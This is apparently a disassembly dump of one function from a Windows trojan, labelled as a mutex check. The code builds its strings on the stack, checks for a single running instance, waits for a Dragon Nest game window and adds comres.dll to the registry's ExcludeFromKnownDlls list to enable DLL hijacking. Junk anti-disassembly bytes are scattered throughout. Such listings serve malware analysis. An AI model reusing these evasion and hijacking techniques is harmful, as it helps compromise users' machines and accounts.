Function at 0x408104
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
call fcn.004020b0
cmp eax, eax
je 0x407e9e
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407ea6
in al, 0x1d
je 0x407eae
pop ds
sbb al, 0xf
test dword [esi], esp
jne 0xda0fda
xchg ecx, eax
cdq
add byte [edx], ch
push 0
call fcn.00407690
cmp eax, eax
je 0x407ecb
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407ed3
in al, 0x1d
je 0x407edb
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
jne 0xda1007
cdq
add dh, al
inc ebp
invalid
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
jmp 0x407f1d
push eax
call 0x407f27
je 0x407f8b
jns 0x407edf
pop eax
pop eax
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x6e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x4c
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0
jmp 0x407f71
fidiv dword [esi + eax*8 + 0x45]
fild dword [ebx - 0x3a]
inc ebp
fsubr qword [edi - 0x3a]
inc ebp
invalid
push eax
call 0x407f7b
je 0x407fdf
jns 0x407f33
pop eax
pop eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call main
call eax
push eax
call fcn.00406a20
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x407ff8
cmp eax, eax
je 0x407fb5
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x407fbd
in al, 0x1d
je 0x407fc5
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp + 0x6a52ec55], cl
add byte [ebx + 0x6850e845], cl
loopne 0x408043
jne 0xda10f1
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0x406be0
push 0
inc eax
add byte [edx], ch
push 0
call dword [0x401144]
adc eax, 0x401144
jmp 0x407fec
push eax
call 0x407ff6
je 0x40805a
jns 0x407fae
pop eax
pop eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40129c
push fcn.00405ae0
push 4
call dword [0x401170]
push 0x104
push 0x401198
mov ecx, dword [0x40129c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x14]
push edx
push 0
push 0
push 0x4080c0
push 0
push 0
call dword [0x401144]
cmp eax, eax
je 0x408053
add dh, cl
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
je 0x40805b
in al, 0x1d
sbb eax, 0x2840f
add byte [eax], al
je 0x408063
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp + 0x6a50ec45], cl
add byte [edx], ch
jne 0xda118f
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x4017e0
push 0
push 0
call dword [0x401144]
jmp 0x408088
push eax
call 0x408092
je 0x4080f6
jns 0x40804a
pop eax
pop eax
jmp 0x4080a1
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408096
pop ebp
ret
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
je 0x408168
jns 0x4080bc
pop eax
pop eax
call dword [0x401098]
push 0
push 0
push 0
call dword [0x401114]
push eax
call dword [0x4010bc]
push 0
push 0
push 0
lea eax, [ebp - 0x148]
push eax
call dword [0x401138]
push 0
inc eax
add byte [edx], ch
call dword [fcn.0040109c]
push eax
call fcn.004067d0
add esp, 4
mov byte [ebp - 0xb8], 0x50
mov byte [ebp - 0xb7], 0x41
mov byte [ebp - 0xb6], 0x52
mov byte [ebp - 0xb5], 0x41
mov byte [ebp - 0xb4], 0
jmp 0x40816e
add byte [eax], al
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
push eax
call 0x408178
je 0x4081dc
jns 0x408130
pop eax
pop eax
mov byte [ebp - 0xa4], 0x64
mov byte [ebp - 0xa3], 0x6e
mov byte [ebp - 0xa2], 0x6c
mov byte [ebp - 0xa1], 0x6f
mov byte [ebp - 0xa0], 0x76
mov byte [ebp - 0x9f], 0x65
mov byte [ebp - 0x9e], 0x30
mov byte [ebp - 0x9d], 0x2e
mov byte [ebp - 0x9c], 0x30
mov byte [ebp - 0x9b], 0x32
mov byte [ebp - 0x9a], 0
lea ecx, [ebp - 0xb8]
push ecx
call fcn.00405730
add esp, 4
push eax
lea edx, [ebp - 0xa4]
push edx
push 0x401674
lea eax, [ebp - 0x110]
push eax
call dword [fcn.004010ac]
call dword [edx + 0x68]
je 0x4081f7
inc eax
add byte [ebp - 0x10f7b], cl
call dword [eax - 1]
adc eax, fcn.004010ac
add esp, 0x10
lea ecx, [ebp - 0x110]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xc0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x408273
invalid
mov edx, dword [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
adc byte [eax], al
cmp eax, eax
je 0x408234
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40823c
in al, 0x1d
je 0x408244
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0xbf7b], cl
call dword [eax - 1]
adc eax, sym.imp.KERNEL32.dll_CloseHandle
jne 0xda1370
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40825f
push eax
call 0x408269
je 0x4082cd
jns 0x408221
pop eax
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x12c], 0x44
mov byte [ebp - 0x12b], 0x72
mov byte [ebp - 0x12a], 0x61
mov byte [ebp - 0x129], 0x67
mov byte [ebp - 0x128], 0x6f
mov byte [ebp - 0x127], 0x6e
mov byte [ebp - 0x126], 0x4e
mov byte [ebp - 0x125], 0x65
mov byte [ebp - 0x124], 0x73
mov byte [ebp - 0x123], 0x74
mov byte [ebp - 0x122], 0x20
mov byte [ebp - 0x121], 0x6c
mov byte [ebp - 0x120], 0x61
popal
mov byte [ebp - 0x11f], 0x75
mov byte [ebp - 0x11e], 0x6e
mov byte [ebp - 0x11d], 0x63
mov byte [ebp - 0x11c], 0x68
mov byte [ebp - 0x11b], 0x65
mov byte [ebp - 0x11a], 0x72
mov byte [ebp - 0x119], 0
mov byte [ebp - 0xb0], 0x44
mov byte [ebp - 0xaf], 0x52
mov byte [ebp - 0xae], 0x41
mov byte [ebp - 0xad], 0x47
mov byte [ebp - 0xac], 0x4f
mov byte [ebp - 0xab], 0x4e
mov byte [ebp - 0xaa], 0x4e
mov byte [ebp - 0xa9], 0x45
mov byte [ebp - 0xa8], 0x53
mov byte [ebp - 0xa7], 0x54
mov byte [ebp - 0xa6], 0
mov byte [ebp - 0x118], 0x23
mov byte [ebp - 0x117], 0x33
mov byte [ebp - 0x116], 0x32
mov byte [ebp - 0x115], 0x37
mov byte [ebp - 0x114], 0x37
mov byte [ebp - 0x113], 0x30
mov byte [ebp - 0x112], 0
mov dword [ebp - 0xbc], 0
cmp dword [ebp - 0xbc], 0
jne 0x408416
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x4083f2
cmp eax, eax
je 0x4083c7
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4083cf
in al, 0x1d
je 0x4083d7
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xda1503
push 0
lea eax, [ebp - 0xb0]
push eax
call dword [0x401148]
mov dword [ebp - 0xbc], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408405
push eax
call 0x40840f
je 0x408473
jns 0x4083c7
pop eax
pop eax
jmp 0x408387
mov dword [ebp - 0xbc], 0
invalid
cmp dword [ebp - 0xbc], 0
jne 0x4084af
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x408479
jmp 0x408458
push eax
call 0x408462
je 0x4084c6
jns 0x40841a
pop eax
pop eax
push 0
lea eax, [ebp - 0xb0]
push eax
call dword [0x401148]
mov dword [ebp - 0xbc], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, eax
je 0x408494
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40849c
in al, 0x1d
je 0x4084a4
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
jne 0xda15d0
add cl, ch
jno 0x4084ac
jmp 0x408420
invalid
invalid
cmp dword [ebp - 0xbc], 0
je 0x408547
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [0x401148]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x408508
invalid
jmp 0x4084e7
push eax
call 0x4084f1
je 0x408555
jns 0x4084a9
pop eax
pop eax
push 0
lea eax, [ebp - 0xb0]
push eax
call dword [0x401148]
mov dword [ebp - 0xbc], eax
call fcn.00406410
mov ecx, dword [ebp - 0xbc]
push ecx
call fcn.004068d0
add esp, 4
cmp eax, eax
je 0x40852c
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x408534
in al, 0x1d
je 0x40853c
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add cl, ch
push 0x68ffffff
rol byte [edi], 1
add byte [eax], al
jne 0xda1668
jmp 0x4084af
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00407460
mov dword [ebp - 0x98], eax
cmp eax, eax
je 0x40856d
invalid
or byte [eax], al
add byte [eax], al
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x408575
in al, 0x1d
je 0x40857d
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add al, ch
mov dh, bl
invalid
jne 0xda16a9
call fcn.00406410
mov edx, dword [ebp - 0x98]
push edx
call 0x406ff0
add esp, 4
jmp 0x40859f
push eax
call 0x4085a9
je 0x40860d
jns 0x408561
pop eax
pop eax
mov eax, dword [ebp - 0x98]
push eax
call sub.MSVCRT.dll_free
add esp, 4
mov dword [ebp - 0x94], 0x94
cmp eax, eax
je 0x4085d4
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x4085dc
in al, 0x1d
je 0x4085e4
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebp - 0x9373], cl
call dword [ecx - 1]
adc eax, sym.imp.KERNEL32.dll_GetVersionExA
jne 0xda1710
lea ecx, [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.00406410
cmp dword [ebp - 0x90], 5
jbe 0x408914
jmp 0x408611
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
push eax
call 0x40861b
je 0x40867f
jns 0x4085d3
pop eax
pop eax
mov dword [ebp - 0x14c], 0x104
cmp eax, eax
je 0x408637
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40863f
in al, 0x1d
je 0x408647
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test dword [eax + 0xfffffd], esi
jne 0xda1773
mov byte [ebp - 0x250], 0
mov byte [ebp - 0x288], 0x53
mov byte [ebp - 0x287], 0x59
mov byte [ebp - 0x286], 0x53
mov byte [ebp - 0x285], 0x54
mov byte [ebp - 0x284], 0x45
mov byte [ebp - 0x283], 0x4d
mov byte [ebp - 0x282], 0x5c
mov byte [ebp - 0x281], 0x43
mov byte [ebp - 0x280], 0x75
mov byte [ebp - 0x27f], 0x72
mov byte [ebp - 0x27e], 0x72
mov byte [ebp - 0x27d], 0x65
mov byte [ebp - 0x27c], 0x6e
mov byte [ebp - 0x27b], 0x74
mov byte [ebp - 0x27a], 0x43
mov byte [ebp - 0x279], 0x6f
mov byte [ebp - 0x278], 0x6e
mov byte [ebp - 0x277], 0x74
mov byte [ebp - 0x276], 0x72
mov byte [ebp - 0x275], 0x6f
mov byte [ebp - 0x274], 0x6c
mov byte [ebp - 0x273], 0x53
mov byte [ebp - 0x272], 0x65
mov byte [ebp - 0x271], 0x74
mov byte [ebp - 0x270], 0x5c
mov byte [ebp - 0x26f], 0x43
mov byte [ebp - 0x26e], 0x6f
mov byte [ebp - 0x26d], 0x6e
mov byte [ebp - 0x26c], 0x74
mov byte [ebp - 0x26b], 0x72
mov byte [ebp - 0x26a], 0x6f
mov byte [ebp - 0x269], 0x6c
mov byte [ebp - 0x268], 0x5c
mov byte [ebp - 0x267], 0x53
mov byte [ebp - 0x266], 0x65
mov byte [ebp - 0x265], 0x73
mov byte [ebp - 0x264], 0x73
mov byte [ebp - 0x263], 0x69
mov byte [ebp - 0x262], 0x6f
mov byte [ebp - 0x261], 0x6e
mov byte [ebp - 0x260], 0x20
mov byte [ebp - 0x25f], 0x4d
mov byte [ebp - 0x25e], 0x61
mov byte [ebp - 0x25d], 0x6e
mov byte [ebp - 0x25c], 0x61
mov byte [ebp - 0x25b], 0x67
test dword [esi - 3], edi
invalid
mov byte [ebp - 0x25a], 0x65
mov byte [ebp - 0x259], 0x72
mov byte [ebp - 0x258], 0
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x288]
push eax
push 0x80000002
call dword [0x401128]
test eax, eax
jne 0x408914
jmp 0x4087d4
push eax
call 0x4087de
je 0x408842
jns 0x408796
pop eax
pop eax
mov byte [ebp - 0x2ac], 0x45
mov byte [ebp - 0x2ab], 0x78
mov byte [ebp - 0x2aa], 0x63
mov byte [ebp - 0x2a9], 0x6c
mov byte [ebp - 0x2a8], 0x75
mov byte [ebp - 0x2a7], 0x64
mov byte [ebp - 0x2a6], 0x65
mov byte [ebp - 0x2a5], 0x46
mov byte [ebp - 0x2a4], 0x72
mov byte [ebp - 0x2a3], 0x6f
mov byte [ebp - 0x2a2], 0x6d
mov byte [ebp - 0x2a1], 0x4b
mov byte [ebp - 0x2a0], 0x6e
mov byte [ebp - 0x29f], 0x6f
mov byte [ebp - 0x29e], 0x77
mov byte [ebp - 0x29d], 0x6e
mov byte [ebp - 0x29c], 0x44
mov byte [ebp - 0x29b], 0x6c
mov byte [ebp - 0x29a], 0x6c
mov byte [ebp - 0x299], 0x73
mov byte [ebp - 0x298], 0
cmp eax, eax
je 0x408883
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40888b
in al, 0x1d
je 0x408893
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
test dword [ebp + edi*8 - 1], ebp
jmp dword [ebx - 0x3a]
jne 0xda19bf
mov byte [ebp - 0x294], 0x63
mov byte [ebp - 0x293], 0x6f
mov byte [ebp - 0x292], 0x6d
mov byte [ebp - 0x291], 0x72
mov byte [ebp - 0x290], 0x65
mov byte [ebp - 0x28f], 0x73
mov byte [ebp - 0x28e], 0x2e
mov byte [ebp - 0x28d], 0x64
mov byte [ebp - 0x28c], 0x6c
mov byte [ebp - 0x28b], 0x6c
mov byte [ebp - 0x28a], 0
push 0xb
lea ecx, [ebp - 0x294]
push ecx
push 7
push 0
lea edx, [ebp - 0x2ac]
push edx
mov eax, dword [ebp - 0x254]
push eax
call dword [0x401134]
mov ecx, dword [ebp - 0x254]
push ecx
call dword [0x401124]
cmp eax, eax
je 0x408924
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40892c
in al, 0x1d
je 0x408934
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, al
add eax, 0x401090
add dword [eax], eax
add byte [eax], al
jne 0xda1a60
mov dword [0x401090], 1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]